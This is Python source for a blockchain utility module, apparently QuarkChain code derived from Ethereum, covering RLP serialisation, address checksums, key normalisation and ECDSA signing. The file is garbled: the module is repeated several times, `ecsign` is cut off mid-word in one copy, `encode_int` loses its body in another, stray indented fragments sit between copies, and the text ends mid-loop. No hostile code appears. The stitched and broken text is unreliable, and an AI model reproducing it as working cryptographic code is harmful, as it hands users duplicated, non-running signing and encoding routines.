    if len(v) not in [0, 20]:
        raise Exception("Serialized addresses must be empty or 20 bytes long!")
    return encode_hex(v)

def decode_int(v):
    """decodes and integer from serialization"""
    if len(v) > 0 and (v[0] == b"\x00" or v[0] == 0):
        raise Exception("No leading zero bytes allowed for integers")
    return big_endian_to_int(v)

def decode_int256(v):
    return big_endian_to_int(v)

def encode_bin(v):
    """encodes a bytearray into serialization"""
    return v

def encode_root(v):
    """encodes a trie root into serialization"""
    return v

def encode_int(v):
    """encodes an integer into serialization"""
    if not is_numeric(v) or v < 0 or v >= TT256:
        raise Exception("Integer invalid or out of range: %r" % v)
    return int_to_big_endian(v)

def encode_int256(v):
    return zpad(int_to_big_endian(v), 256)

def scan_bin(v):
    if v[:2] in ("0x", b"0x"):
        return decode_hex(v[2:])
    else:
        return decode_hex(v)

def scan_int(v):
    if v[:2] in ("0x", b"0x"):
        return big_endian_to_int(decode_hex(v[2:]))
    else:
        return int(v)

# Decoding from RLP serialization
decoders = {
    "bin": decode_bin,
    "addr": decode_addr,
    "int": decode_int,
    "int256b": decode_int256,
}

# Encoding to RLP serialization
encoders = {
    "bin": encode_bin,
    "int": encode_int,
    "trie_root": encode_root,
    "int256b": encode_int256,
}

# Encoding to printable format
printers = {
    "bin": lambda v: "0x" + encode_hex(v),
    "addr": lambda v: v,
    "int": lambda v: to_string(v),
    "trie_root": lambda v: encode_hex(v),
    "int256b": lambda x: encode_hex(zpad(encode_int256(x), 256)),
}

# Decoding from printable format
scanners = {
    "bin": scan_bin,
    "addr": lambda x: x[2:] if x[:2] in (b"0x", "0x") else x,
    "int": scan_int,
    "trie_root": lambda x: scan_bin,
    "int256b": lambda x: big_endian_to_int(decode_hex(x)),
}

def int_to_hex(x):
    o = encode_hex(encode_int(x))
    return "0x" + (o[1:] if (len(o) > 0 and o[0] == b"0") else o)

def remove_0x_head(s):
    return s[2:] if s[:2] in (b"0x", "0x") else s

def parse_as_bin(s):
    return decode_hex(s[2:] if s[:2] == "0x" else s)

def parse_as_int(s):
    return s if is_numeric(s) else int("0" + s[2:], 16) if s[:2] == "0x" else int(s)

def print_func_call(ignore_first_arg=False, max_call_number=100):
    """ utility function to facilitate debug, it will print input args before
    function call, and print return value after function call

    usage:

        @print_func_call
        def some_func_to_be_debu():
            pass

    :param ignore_first_arg: whether print the first arg or not.
    useful when ignore the `self` parameter of an object method call
    """
    from functools import wraps

    def display(x):
        x = to_string(x)
        try:
            x.decode("ascii")
        except BaseException:
            return "NON_PRINTABLE"
        return x

    local = {"call_number": 0}

    def inner(f):
        @wraps(f)
        def wrapper(*args, **kwargs):
            local["call_number"] += 1
            tmp_args = args[1:] if ignore_first_arg and len(args) else args
            this_call_number = local["call_number"]
            print(
                (
                    "{0}#{1} args: {2}, {3}".format(
                        f.__name__,
                        this_call_number,
                        ", ".join([display(x) for x in tmp_args]),
                        ", ".join(
                            display(key) + "=" + to_string(value)
                            for key, value in kwargs.items()
                        ),
                    )
                )
            )
            res = f(*args, **kwargs)
            print(
                (
                    "{0}#{1} return: {2}".format(
                        f.__name__, this_call_number, display(res)
                    )
                )
            )

            if local["call_number"] > 100:
                raise Exception("Touch max call number!")
            return res

        return wrapper

    return inner

def dump_state(trie):
    res = ""
    for k, v in list(trie.to_dict().items()):
        res += "%r:%r\n" % (encode_hex(k), encode_hex(v))
    return res

class Denoms:
    def __init__(self):
        self.wei = 1
        self.babbage = 10 ** 3
        self.ada = 10 ** 3
        self.kwei = 10 ** 6
        self.lovelace = 10 ** 6
        self.mwei = 10 ** 6
        self.shannon = 10 ** 9
        self.gwei = 10 ** 9
        self.szabo = 10 ** 12
        self.finney = 10 ** 15
        self.mether = 10 ** 15
        self.ether = 10 ** 18
        self.turing = 2 ** 256 - 1

denoms = Denoms()

address = Binary.fixed_length(20, allow_empty=True)
int20 = BigEndianInt(20)
int32 = BigEndianInt(32)
int256 = BigEndianInt(256)
hash32 = Binary.fixed_length(32)
trie_root = Binary.fixed_length(32, allow_empty=True)

def add_dict(d: Dict, other: Dict):
    for k, v in other.items():
        d[k] = d.get(k, 0) + v

class bcolors:
    HEADER = "\033[95m"
    OKBLUE = "\033[94m"
    OKGREEN = "\033[92m"
    WARNING = "\033[91m"
    FAIL = "\033[91m"
    ENDC = "\033[0m"
    BOLD = "\033[1m"
    UNDERLINE = "\033[4m"

def DEBUG(msg, *args, **kwargs):
    from ethereum import slogging

    slogging.DEBUG(msg, *args, **kwargs)


from py_ecc.secp256k1 import privtopub, ecdsa_raw_sign, ecdsa_raw_recover
import sys
import rlp
from rlp.sedes import big_endian_int, BigEndianInt, Binary
from quarkchain.rlp.utils import decode_hex, encode_hex, ascii_chr, str_to_bytes
import random
from quarkchain.utils import sha3_256 as sha3
from typing import Dict

try:
    import coincurve
except ImportError:
    import warnings

    warnings.warn("could not import coincurve", ImportWarning)
    coincurve = None

class Memoize:
    def __init__(self, fn):
        self.fn = fn
        self.memo = {}

    def __call__(self, *args):
        if args not in self.memo:
            self.memo[args] = self.fn(*args)
        return self.memo[args]

def big_endian_to_int(x):
    return big_endian_int.deserialize(str_to_bytes(x).lstrip(b"\x00"))

def int_to_big_endian(x):
    return big_endian_int.serialize(x)

TT256 = 2 ** 256
TT256M1 = 2 ** 256 - 1
TT255 = 2 ** 255
UINT128_MAX = 2 ** 128 - 1
SECP256K1P = 2 ** 256 - 4294968273

def is_numeric(x):
    return isinstance(x, int)

def is_string(x):
    return isinstance(x, bytes)

def to_string(value):
    if isinstance(value, bytes):
        return value
    if isinstance(value, str):
        return bytes(value, "utf-8")
    if isinstance(value, int):
        return bytes(str(value), "utf-8")

def int_to_bytes(value):
    if isinstance(value, bytes):
        return value
    return int_to_big_endian(value)

def to_string_for_regexp(value):
    return str(to_string(value), "utf-8")

def bytearray_to_bytestr(value):
    return bytes(value)

def encode_int32(v):
    return v.to_bytes(32, byteorder="big")

def bytes_to_int(value):
    return int.from_bytes(value, byteorder="big")

def ecrecover_to_pub(rawhash, v, r, s):
    if coincurve and hasattr(coincurve, "PublicKey"):
        try:
            pk = coincurve.PublicKey.from_signature_and_message(
                zpad(bytearray_to_bytestr(int_to_32bytearray(r)), 32)
                + zpad(bytearray_to_bytestr(int_to_32bytearray(s)), 32)
                + ascii_chr(v - 27),
                rawhash,
                hasher=None,
            )
            pub = pk.format(compressed=False)[1:]
        except BaseException:
            pub = b"\x00" * 64
    else:
        result = ecdsa_raw_recover(rawhash, (v, r, s))
        if result:
            x, y = result
            pub = encode_int32(x) + encode_int32(y)
        else:
            raise ValueError("Invalid VRS")
    assert len(pub) == 64
    return pub

def ecsign(rawhash, key):
    if coincurve and hasattr(coincurve, "PrivateKey"):
        pk = coincurve.PrivateKey(key)
        signature = pk.sign_recoverable(rawhash, hasher=None)
        v = safe_ord(signature[64]) + 27
        r = big_endian_to_int(signature[0:32])
        s = big_endian_to_int(signature[32:64])
    else:
        v, r, s = ecdsa_raw_sign(rawhash, key)
    re

def safe_ord(value):
    if isinstance(value, int):
        return value
    else:
        return ord(value)

# decorator

def debug(label):
    def deb(f):
        def inner(*args, **kwargs):
            i = random.randrange(1000000)
            print(label, i, "start", args)
            x = f(*args, **kwargs)
            print(label, i, "end", x)
            return x

        return inner

    return deb

def flatten(li):
    o = []
    for l in li:
        o.extend(l)
    return o

def bytearray_to_int(arr):
    o = 0
    for a in arr:
        o = (o << 8) + a
    return o

def int_to_32bytearray(i):
    o = [0] * 32
    for x in range(32):
        o[31 - x] = i & 0xFF
        i >>= 8
    return o

assert (
    encode_hex(sha3(b""))
    == "c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470"
)

@Memoize
def privtoaddr(k):
    k = normalize_key(k)
    x, y = privtopub(k)
    return sha3(encode_int32(x) + encode_int32(y))[12:]

def checksum_encode(addr):  # Takes a 20-byte binary address as input
    addr = normalize_address(addr)
    o = ""
    v = big_endian_to_int(sha3(addr))
    for i, c in enumerate(encode_hex(addr)):
        if c in "0123456789":
            o += c
        else:
            o += c.upper() if (v & (2 ** (255 - 4 * i))) else c.lower()
    return "0x" + o

def check_checksum(addr):
    return checksum_encode(normalize_address(addr)) == addr

def normalize_address(x, allow_blank=False):
    if is_numeric(x):
        return int_to_addr(x)
    if allow_blank and x in {"", b""}:
        return b""
    if len(x) in (42, 50) and x[:2] in {"0x", b"0x"}:
        x = x[2:]
    if len(x) in (40, 48):
        x = decode_hex(x)
    if len(x) == 24:
        assert len(x) == 24 and sha3(x[:20])[:4] == x[-4:]
        x = x[:20]
    if len(x) != 20:
        raise Exception("Invalid address format: %r" % x)
    return x

def normalize_key(key):
    if is_numeric(key):
        o = encode_int32(key)
    elif len(key) == 32:
        o = key
    elif len(key) == 64:
        o = decode_hex(key)
    elif len(key) == 66 and key[:2] == "0x":
        o = decode_hex(key[2:])
    else:
        raise Exception("Invalid key format: %r" % key)
    if o == b"\x00" * 32:
        raise Exception("Zero privkey invalid")
    return o

def zpad(x, l):
    """ Left zero pad value `x` at least to length `l`.

    >>> zpad('', 1)
    '\x00'
    >>> zpad('\xca\xfe', 4)
    '\x00\x00\xca\xfe'
    >>> zpad('\xff', 1)
    '\xff'
    >>> zpad('\xca\xfe', 2)
    '\xca\xfe'
    """
    return b"\x00" * max(0, l - len(x)) + x

def rzpad(value, total_length):
    """ Right zero pad value `x` at least to length `l`.

    >>> zpad('', 1)
    '\x00'
    >>> zpad('\xca\xfe', 4)
    '\xca\xfe\x00\x00'
    >>> zpad('\xff', 1)
    '\xff'
    >>> zpad('\xca\xfe', 2)
    '\xca\xfe'
    """
    return value + b"\x00" * max(0, total_length - len(value))

def int_to_addr(x):
    o = [b""] * 20
    for i in range(20):
        o[19 - i] = ascii_chr(x & 0xFF)
        x >>= 8
    return b"".join(o)

def coerce_addr_to_bin(x):
    if is_numeric(x):
        return encode_hex(zpad(big_endian_int.serialize(x), 20))
    elif len(x) == 40 or len(x) == 0:
        return decode_hex(x)
    else:
        return zpad(x, 20)[-20:]

def coerce_addr_to_hex(x):
    if is_numeric(x):
        return encode_hex(zpad(big_endian_int.serialize(x), 20))
    elif len(x) == 40 or len(x) == 0:
        return x
    else:
        return encode_hex(zpad(x, 20)[-20:])

def coerce_to_int(x):
    if is_numeric(x):
        return x
    elif len(x) == 40:
        return big_endian_to_int(decode_hex(x))
    else:
        return big_endian_to_int(x)

def coerce_to_bytes(x):
    if is_numeric(x):
        return big_endian_int.serialize(x)
    elif len(x) == 40:
        return decode_hex(x)
    else:
        return x

def parse_int_or_hex(s):
    if is_numeric(s):
        return s
    elif s[:2] in (b"0x", "0x"):
        s = to_string(s)
        tail = (b"0" if len(s) % 2 else b"") + s[2:]
        return big_endian_to_int(decode_hex(tail))
    else:
        return int(s)

def ceil32(x):
    return x if x % 32 == 0 else x + 32 - (x % 32)

def to_signed(i):
    return i if i < TT255 else i - TT256

def sha3rlp(x):
    return sha3(rlp.encode(x))

# Format encoders/decoders for bin, addr, int

def decode_bin(v):
    """decodes a bytearray from serialization"""
    if not is_string(v):
        raise Exception("Value must be binary, not RLP array")
    return v

def decode_addr(v):
    """decodes an address from serialization"""
    if len(v) not in [0, 20]:
        raise Exception("Serialized addresses must be empty or 20 bytes long!")
    return encode_hex(v)

def decode_int(v):
    """decodes and integer from serialization"""
    if len(v) > 0 and (v[0] == b"\x00" or v[0] == 0):
        raise Exception("No leading zero bytes allowed for integers")
    return big_endian_to_int(v)

def decode_int256(v):
    return big_endian_to_int(v)

def encode_bin(v):
    """encodes a bytearray into serialization"""
    return v

def encode_root(v):
    """encodes a trie root into serialization"""
    return v

def encode_int(v):
    """encodes an integer into serialization"""
    if not is_numeric(v) or v < 0 or v >= TT256:
        raise Exception("Integer invalid or out of range: %r" % v)
    return int_to_big_endian(v)

def encode_int256(v):
    return zpad(int_to_big_endian(v), 256)

def scan_bin(v):
    if v[:2] in ("0x", b"0x"):
        return decode_hex(v[2:])
    else:
        return decode_hex(v)

def scan_int(v):
    if v[:2] in ("0x", b"0x"):
        return big_endian_to_int(decode_hex(v[2:]))
    else:
        return int(v)

# Decoding from RLP serialization
decoders = {
    "bin": decode_bin,
    "addr": decode_addr,
    "int": decode_int,
    "int256b": decode_int256,
}

# Encoding to RLP serialization
encoders = {
    "bin": encode_bin,
    "int": encode_int,
    "trie_root": encode_root,
    "int256b": encode_int256,
}

# Encoding to printable format
printers = {
    "bin": lambda v: "0x" + encode_hex(v),
    "addr": lambda v: v,
    "int": lambda v: to_string(v),
    "trie_root": lambda v: encode_hex(v),
    "int256b": lambda x: encode_hex(zpad(encode_int256(x), 256)),
}

# Decoding from printable format
scanners = {
    "bin": scan_bin,
    "addr": lambda x: x[2:] if x[:2] in (b"0x", "0x") else x,
    "int": scan_int,
    "trie_root": lambda x: scan_bin,
    "int256b": lambda x: big_endian_to_int(decode_hex(x)),
}

def int_to_hex(x):
    o = encode_hex(encode_int(x))
    return "0x" + (o[1:] if (len(o) > 0 and o[0] == b"0") else o)

def remove_0x_head(s):
    return s[2:] if s[:2] in (b"0x", "0x") else s

def parse_as_bin(s):
    return decode_hex(s[2:] if s[:2] == "0x" else s)

def parse_as_int(s):
    return s if is_numeric(s) else int("0" + s[2:], 16) if s[:2] == "0x" else int(s)

def print_func_call(ignore_first_arg=False, max_call_number=100):
    """ utility function to facilitate debug, it will print input args before
    function call, and print return value after function call

    usage:

        @print_func_call
        def some_func_to_be_debu():
            pass

    :param ignore_first_arg: whether print the first arg or not.
    useful when ignore the `self` parameter of an object method call
    """
    from functools import wraps

    def display(x):
        x = to_string(x)
        try:
            x.decode("ascii")
        except BaseException:
            return "NON_PRINTABLE"
        return x

    local = {"call_number": 0}

    def inner(f):
        @wraps(f)
        def wrapper(*args, **kwargs):
            local["call_number"] += 1
            tmp_args = args[1:] if ignore_first_arg and len(args) else args
            this_call_number = local["call_number"]
            print(
                (
                    "{0}#{1} args: {2}, {3}".format(
                        f.__name__,
                        this_call_number,
                        ", ".join([display(x) for x in tmp_args]),
                        ", ".join(
                            display(key) + "=" + to_string(value)
                            for key, value in kwargs.items()
                        ),
                    )
                )
            )
            res = f(*args, **kwargs)
            print(
                (
                    "{0}#{1} return: {2}".format(
                        f.__name__, this_call_number, display(res)
                    )
                )
            )

            if local["call_number"] > 100:
                raise Exception("Touch max call number!")
            return res

        return wrapper

    return inner

def dump_state(trie):
    res = ""
    for k, v in list(trie.to_dict().items()):
        res += "%r:%r\n" % (encode_hex(k), encode_hex(v))
    return res

class Denoms:
    def __init__(self):
        self.wei = 1
        self.babbage = 10 ** 3
        self.ada = 10 ** 3
        self.kwei = 10 ** 6
        self.lovelace = 10 ** 6
        self.mwei = 10 ** 6
        self.shannon = 10 ** 9
        self.gwei = 10 ** 9
        self.szabo = 10 ** 12
        self.finney = 10 ** 15
        self.mether = 10 ** 15
        self.ether = 10 ** 18
        self.turing = 2 ** 256 - 1

denoms = Denoms()

address = Binary.fixed_length(20, allow_empty=True)
int20 = BigEndianInt(20)
int32 = BigEndianInt(32)
int256 = BigEndianInt(256)
hash32 = Binary.fixed_length(32)
trie_root = Binary.fixed_length(32, allow_empty=True)

def add_dict(d: Dict, other: Dict):
    for k, v in other.items():
        d[k] = d.get(k, 0) + v

class bcolors:
    HEADER = "\033[95m"
    OKBLUE = "\033[94m"
    OKGREEN = "\033[92m"
    WARNING = "\033[91m"
    FAIL = "\033[91m"
    ENDC = "\033[0m"
    BOLD = "\033[1m"
    UNDERLINE = "\033[4m"

def DEBUG(msg, *args, **kwargs):
    from ethereum import slogging

    slogging.DEBUG(msg, *args, **kwargs)


    if not is_numeric(v) or v < 0 or v >= TT256:
        raise Exception("Integer invalid or out of range: %r" % v)
    return int_to_big_endian(v)

from py_ecc.secp256k1 import privtopub, ecdsa_raw_sign, ecdsa_raw_recover
import sys
import rlp
from rlp.sedes import big_endian_int, BigEndianInt, Binary
from quarkchain.rlp.utils import decode_hex, encode_hex, ascii_chr, str_to_bytes
import random
from quarkchain.utils import sha3_256 as sha3
from typing import Dict

try:
    import coincurve
except ImportError:
    import warnings

    warnings.warn("could not import coincurve", ImportWarning)
    coincurve = None

class Memoize:
    def __init__(self, fn):
        self.fn = fn
        self.memo = {}

    def __call__(self, *args):
        if args not in self.memo:
            self.memo[args] = self.fn(*args)
        return self.memo[args]

def big_endian_to_int(x):
    return big_endian_int.deserialize(str_to_bytes(x).lstrip(b"\x00"))

def int_to_big_endian(x):
    return big_endian_int.serialize(x)

TT256 = 2 ** 256
TT256M1 = 2 ** 256 - 1
TT255 = 2 ** 255
UINT128_MAX = 2 ** 128 - 1
SECP256K1P = 2 ** 256 - 4294968273

def is_numeric(x):
    return isinstance(x, int)

def is_string(x):
    return isinstance(x, bytes)

def to_string(value):
    if isinstance(value, bytes):
        return value
    if isinstance(value, str):
        return bytes(value, "utf-8")
    if isinstance(value, int):
        return bytes(str(value), "utf-8")

def int_to_bytes(value):
    if isinstance(value, bytes):
        return value
    return int_to_big_endian(value)

def to_string_for_regexp(value):
    return str(to_string(value), "utf-8")

def bytearray_to_bytestr(value):
    return bytes(value)

def encode_int32(v):
    return v.to_bytes(32, byteorder="big")

def bytes_to_int(value):
    return int.from_bytes(value, byteorder="big")

def ecrecover_to_pub(rawhash, v, r, s):
    if coincurve and hasattr(coincurve, "PublicKey"):
        try:
            pk = coincurve.PublicKey.from_signature_and_message(
                zpad(bytearray_to_bytestr(int_to_32bytearray(r)), 32)
                + zpad(bytearray_to_bytestr(int_to_32bytearray(s)), 32)
                + ascii_chr(v - 27),
                rawhash,
                hasher=None,
            )
            pub = pk.format(compressed=False)[1:]
        except BaseException:
            pub = b"\x00" * 64
    else:
        result = ecdsa_raw_recover(rawhash, (v, r, s))
        if result:
            x, y = result
            pub = encode_int32(x) + encode_int32(y)
        else:
            raise ValueError("Invalid VRS")
    assert len(pub) == 64
    return pub

def ecsign(rawhash, key):
    if coincurve and hasattr(coincurve, "PrivateKey"):
        pk = coincurve.PrivateKey(key)
        signature = pk.sign_recoverable(rawhash, hasher=None)
        v = safe_ord(signature[64]) + 27
        r = big_endian_to_int(signature[0:32])
        s = big_endian_to_int(signature[32:64])
    else:
        v, r, s = ecdsa_raw_sign(rawhash, key)
    return v, r, s

def safe_ord(value):
    if isinstance(value, int):
        return value
    else:
        return ord(value)

# decorator

def debug(label):
    def deb(f):
        def inner(*args, **kwargs):
            i = random.randrange(1000000)
            print(label, i, "start", args)
            x = f(*args, **kwargs)
            print(label, i, "end", x)
            return x

        return inner

    return deb

def flatten(li):
    o = []
    for l in li:
        o.extend(l)
    return o

def bytearray_to_int(arr):
    o = 0
    for a in arr:
        o = (o << 8) + a
    return o

def int_to_32bytearray(i):
    o = [0] * 32
    for x in range(32):
        o[31 - x] = i & 0xFF
        i >>= 8
    return o

assert (
    encode_hex(sha3(b""))
    == "c5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470"
)

@Memoize
def privtoaddr(k):
    k = normalize_key(k)
    x, y = privtopub(k)
    return sha3(encode_int32(x) + encode_int32(y))[12:]

def checksum_encode(addr):  # Takes a 20-byte binary address as input
    addr = normalize_address(addr)
    o = ""
    v = big_endian_to_int(sha3(addr))
    for i, c in enumerate(encode_hex(addr)):
        if c in "0123456789":
            o += c
        else:
            o += c.upper() if (v & (2 ** (255 - 4 * i))) else c.lower()
    return "0x" + o

def check_checksum(addr):
    return checksum_encode(normalize_address(addr)) == addr

def normalize_address(x, allow_blank=False):
    if is_numeric(x):
        return int_to_addr(x)
    if allow_blank and x in {"", b""}:
        return b""
    if len(x) in (42, 50) and x[:2] in {"0x", b"0x"}:
        x = x[2:]
    if len(x) in (40, 48):
        x = decode_hex(x)
    if len(x) == 24:
        assert len(x) == 24 and sha3(x[:20])[:4] == x[-4:]
        x = x[:20]
    if len(x) != 20:
        raise Exception("Invalid address format: %r" % x)
    return x

def normalize_key(key):
    if is_numeric(key):
        o = encode_int32(key)
    elif len(key) == 32:
        o = key
    elif len(key) == 64:
        o = decode_hex(key)
    elif len(key) == 66 and key[:2] == "0x":
        o = decode_hex(key[2:])
    else:
        raise Exception("Invalid key format: %r" % key)
    if o == b"\x00" * 32:
        raise Exception("Zero privkey invalid")
    return o

def zpad(x, l):
    """ Left zero pad value `x` at least to length `l`.

    >>> zpad('', 1)
    '\x00'
    >>> zpad('\xca\xfe', 4)
    '\x00\x00\xca\xfe'
    >>> zpad('\xff', 1)
    '\xff'
    >>> zpad('\xca\xfe', 2)
    '\xca\xfe'
    """
    return b"\x00" * max(0, l - len(x)) + x

def rzpad(value, total_length):
    """ Right zero pad value `x` at least to length `l`.

    >>> zpad('', 1)
    '\x00'
    >>> zpad('\xca\xfe', 4)
    '\xca\xfe\x00\x00'
    >>> zpad('\xff', 1)
    '\xff'
    >>> zpad('\xca\xfe', 2)
    '\xca\xfe'
    """
    return value + b"\x00" * max(0, total_length - len(value))

def int_to_addr(x):
    o = [b""] * 20
    for i in range(20):
        o[19 - i] = ascii_chr(x & 0xFF)
        x >>= 8
    return b"".join(o)

def coerce_addr_to_bin(x):
    if is_numeric(x):
        return encode_hex(zpad(big_endian_int.serialize(x), 20))
    elif len(x) == 40 or len(x) == 0:
        return decode_hex(x)
    else:
        return zpad(x, 20)[-20:]

def coerce_addr_to_hex(x):
    if is_numeric(x):
        return encode_hex(zpad(big_endian_int.serialize(x), 20))
    elif len(x) == 40 or len(x) == 0:
        return x
    else:
        return encode_hex(zpad(x, 20)[-20:])

def coerce_to_int(x):
    if is_numeric(x):
        return x
    elif len(x) == 40:
        return big_endian_to_int(decode_hex(x))
    else:
        return big_endian_to_int(x)

def coerce_to_bytes(x):
    if is_numeric(x):
        return big_endian_int.serialize(x)
    elif len(x) == 40:
        return decode_hex(x)
    else:
        return x

def parse_int_or_hex(s):
    if is_numeric(s):
        return s
    elif s[:2] in (b"0x", "0x"):
        s = to_string(s)
        tail = (b"0" if len(s) % 2 else b"") + s[2:]
        return big_endian_to_int(decode_hex(tail))
    else:
        return int(s)

def ceil32(x):
    return x if x % 32 == 0 else x + 32 - (x % 32)

def to_signed(i):
    return i if i < TT255 else i - TT256

def sha3rlp(x):
    return sha3(rlp.encode(x))

# Format encoders/decoders for bin, addr, int

def decode_bin(v):
    """decodes a bytearray from serialization"""
    if not is_string(v):
        raise Exception("Value must be binary, not RLP array")
    return v

def decode_addr(v):
    """decodes an address from serialization"""
    if len(v) not in [0, 20]:
        raise Exception("Serialized addresses must be empty or 20 bytes long!")
    return encode_hex(v)

def decode_int(v):
    """decodes and integer from serialization"""
    if len(v) > 0 and (v[0] == b"\x00" or v[0] == 0):
        raise Exception("No leading zero bytes allowed for integers")
    return big_endian_to_int(v)

def decode_int256(v):
    return big_endian_to_int(v)

def encode_bin(v):
    """encodes a bytearray into serialization"""
    return v

def encode_root(v):
    """encodes a trie root into serialization"""
    return v

def encode_int(v):
    """encodes an integer into serialization"""

def encode_int256(v):
    return zpad(int_to_big_endian(v), 256)

def scan_bin(v):
    if v[:2] in ("0x", b"0x"):
        return decode_hex(v[2:])
    else:
        return decode_hex(v)

def scan_int(v):
    if v[:2] in ("0x", b"0x"):
        return big_endian_to_int(decode_hex(v[2:]))
    else:
        return int(v)

# Decoding from RLP serialization
decoders = {
    "bin": decode_bin,
    "addr": decode_addr,
    "int": decode_int,
    "int256b": decode_int256,
}

# Encoding to RLP serialization
encoders = {
    "bin": encode_bin,
    "int": encode_int,
    "trie_root": encode_root,
    "int256b": encode_int256,
}

# Encoding to printable format
printers = {
    "bin": lambda v: "0x" + encode_hex(v),
    "addr": lambda v: v,
    "int": lambda v: to_string(v),
    "trie_root": lambda v: encode_hex(v),
    "int256b": lambda x: encode_hex(zpad(encode_int256(x), 256)),
}

# Decoding from printable format
scanners = {
    "bin": scan_bin,
    "addr": lambda x: x[2:] if x[:2] in (b"0x", "0x") else x,
    "int": scan_int,
    "trie_root": lambda x: scan_bin,
    "int256b": lambda x: big_endian_to_int(decode_hex(x)),
}

def int_to_hex(x):
    o = encode_hex(encode_int(x))
    return "0x" + (o[1:] if (len(o) > 0 and o[0] == b"0") else o)

def remove_0x_head(s):
    return s[2:] if s[:2] in (b"0x", "0x") else s

def parse_as_bin(s):
    return decode_hex(s[2:] if s[:2] == "0x" else s)

def parse_as_int(s):
    return s if is_numeric(s) else int("0" + s[2:], 16) if s[:2] == "0x" else int(s)

def print_func_call(ignore_first_arg=False, max_call_number=100):
    """ utility function to facilitate debug, it will print input args before
    function call, and print return value after function call

    usage:

        @print_func_call
        def some_func_to_be_debu():
            pass

    :param ignore_first_arg: whether print the first arg or not.
    useful when ignore the `self` parameter of an object method call
    """
    from functools import wraps

    def display(x):
        x = to_string(x)
        try:
            x.decode("ascii")
        except BaseException:
            return "NON_PRINTABLE"
        return x

    local = {"call_number": 0}

    def inner(f):
        @wraps(f)
        def wrapper(*args, **kwargs):
            local["call_number"] += 1
            tmp_args = args[1:] if ignore_first_arg and len(args) else args
            this_call_number = local["call_number"]
            print(
                (
                    "{0}#{1} args: {2}, {3}".format(
                        f.__name__,
                        this_call_number,
                        ", ".join([display(x) for x in tmp_args]),
                        ", ".join(
                            display(key) + "=" + to_string(value)
                            for key, value in kwargs.items()
                        ),
                    )
                )
            )
            res = f(*args, **kwargs)
            print(
                (
                    "{0}#{1} return: {2}".format(
                        f.__name__, this_call_number, display(res)
                    )
                )
            )

            if local["call_number"] > 100:
                raise Exception("Touch max call number!")
            return res

        return wrapper

    return inner

def dump_state(trie):
    res = ""
    for k, v in list(trie.to_dict().items()):
        res += "%r:%r\n" % (encode_hex(k), encode_hex(v))
    return res

class Denoms:
    def __init__(self):
        self.wei = 1
        self.babbage = 10 ** 3
        self.ada = 10 ** 3
        self.kwei = 10 ** 6
        self.lovelace = 10 ** 6
        self.mwei = 10 ** 6
        self.shannon = 10 ** 9
        self.gwei = 10 ** 9
        self.szabo = 10 ** 12
        self.finney = 10 ** 15
        self.mether = 10 ** 15
        self.ether = 10 ** 18
        self.turing = 2 ** 256 - 1

denoms = Denoms()

address = Binary.fixed_length(20, allow_empty=True)
int20 = BigEndianInt(20)
int32 = BigEndianInt(32)
int256 = BigEndianInt(256)
hash32 = Binary.fixed_length(32)
trie_root = Binary.fixed_length(32, allow_empty=True)

def add_dict(d: Dict, other: Dict):
    for k, v in other.items():
        d[k] = d.get(k, 0) + v

class bcolors:
    HEADER = "\033[95m"
    OKBLUE = "\033[94m"
    OKGREEN = "\033[92m"
    WARNING = "\033[91m"
    FAIL = "\033[91m"
    ENDC = "\033[0m"
    BOLD = "\033[1m"
    UNDERLINE = "\033[4m"

def DEBUG(msg, *args, **kwargs):
    from ethereum import slogging

    slogging.DEBUG(msg, *args, **kwargs)


try:
            x.decode("ascii")
        except BaseException:
            return "NON_PRINTABLE"

from py_ecc.secp256k1 import privtopub, ecdsa_raw_sign, ecdsa_raw_recover
import sys
import rlp
from rlp.sedes import big_endian_int, BigEndianInt, Binary
from quarkchain.rlp.utils import decode_hex, encode_hex, ascii_chr, str_to_bytes
import random
from quarkchain.utils import sha3_256 as sha3
from typing import Dict

try:
    import coincurve
except ImportError:
    import warnings

    warnings.warn("could not import coincurve", ImportWarning)
    coincurve = None

class Memoize:
    def __init__(self, fn):
        self.fn = fn
        self.memo = {}

    def __call__(self, *args):
        if args not in self.memo:
            self.memo[args] = self.fn(*args)
        return self.memo[args]

def big_endian_to_int(x):
    return big_endian_int.deserialize(str_to_bytes(x).lstrip(b"\x00"))

def int_to_big_endian(x):
    return big_endian_int.serialize(x)

TT256 = 2 ** 256
TT256M1 = 2 ** 256 - 1
TT255 = 2 ** 255
UINT128_MAX = 2 ** 128 - 1
SECP256K1P = 2 ** 256 - 4294968273

def is_numeric(x):
    return isinstance(x, int)

def is_string(x):
    return isinstance(x, bytes)

def to_string(value):
    if isinstance(value, bytes):
        return value
    if isinstance(value, str):
        return bytes(value, "utf-8")
    if isinstance(value, int):
        return bytes(str(value), "utf-8")

def int_to_bytes(value):
    if isinstance(value, bytes):
        return value
    return int_to_big_endian(value)

def to_string_for_regexp(value):
    return str(to_string(value), "utf-8")

def bytearray_to_bytestr(value):
    return bytes(value)

def encode_int32(v):
    return v.to_bytes(32, byteorder="big")

def bytes_to_int(value):
    return int.from_bytes(value, byteorder="big")

def ecrecover_to_pub(rawhash, v, r, s):
    if coincurve and hasattr(coincurve, "PublicKey"):
        try:
            pk = coincurve.PublicKey.from_signature_and_message(
                zpad(bytearray_to_bytestr(int_to_32bytearray(r)), 32)
                + zpad(bytearray_to_bytestr(int_to_32bytearray(s)), 32)
                + ascii_chr(v - 27),
                rawhash,
                hasher=None,
            )
            pub = pk.format(compressed=False)[1:]
        except BaseException:
            pub = b"\x00" * 64
    else:
        result = ecdsa_raw_recover(rawhash, (v, r, s))
        if result:
            x, y = result
            pub = encode_int32(x) + encode_int32(y)
        else:
            raise ValueError("Invalid VRS")
    assert len(pub) == 64
    return pub

def ecsign(rawhash, key):
    if coincurve and hasattr(coincurve, "PrivateKey"):
        pk = coincurve.PrivateKey(key)
        signature = pk.sign_recoverable(rawhash, hasher=None)
        v = safe_ord(signature[64]) + 27
        r = big_endian_to_int(signature[0:32])
        s = big_endian_to_int(signature[32:64])
    else:
        v, r, s = ecdsa_raw_sign(rawhash, key)
    return v, r, s

def safe_ord(value):
    if isinstance(value, int):
        return value
    else:
        return ord(value)

# decorator

def debug(label):
    def deb(f):
        def inner(*args, **kwargs):
            i = random.randrange(1000000)
            print(label, i, "start", args)
            x = f(*args, **kwargs)
            print(label, i, "end", x)
            return x

        return inner

    return deb

def flatten(li):
    o = []
    for l in li:
        o.extend(l)
    return o

def bytearray_to_int(arr):
    o = 0
    for a in arr:
        o = (o << 8) + a
    return o

def int_to_32bytearray(i):
    o = [0] * 32
    for x in range(32):
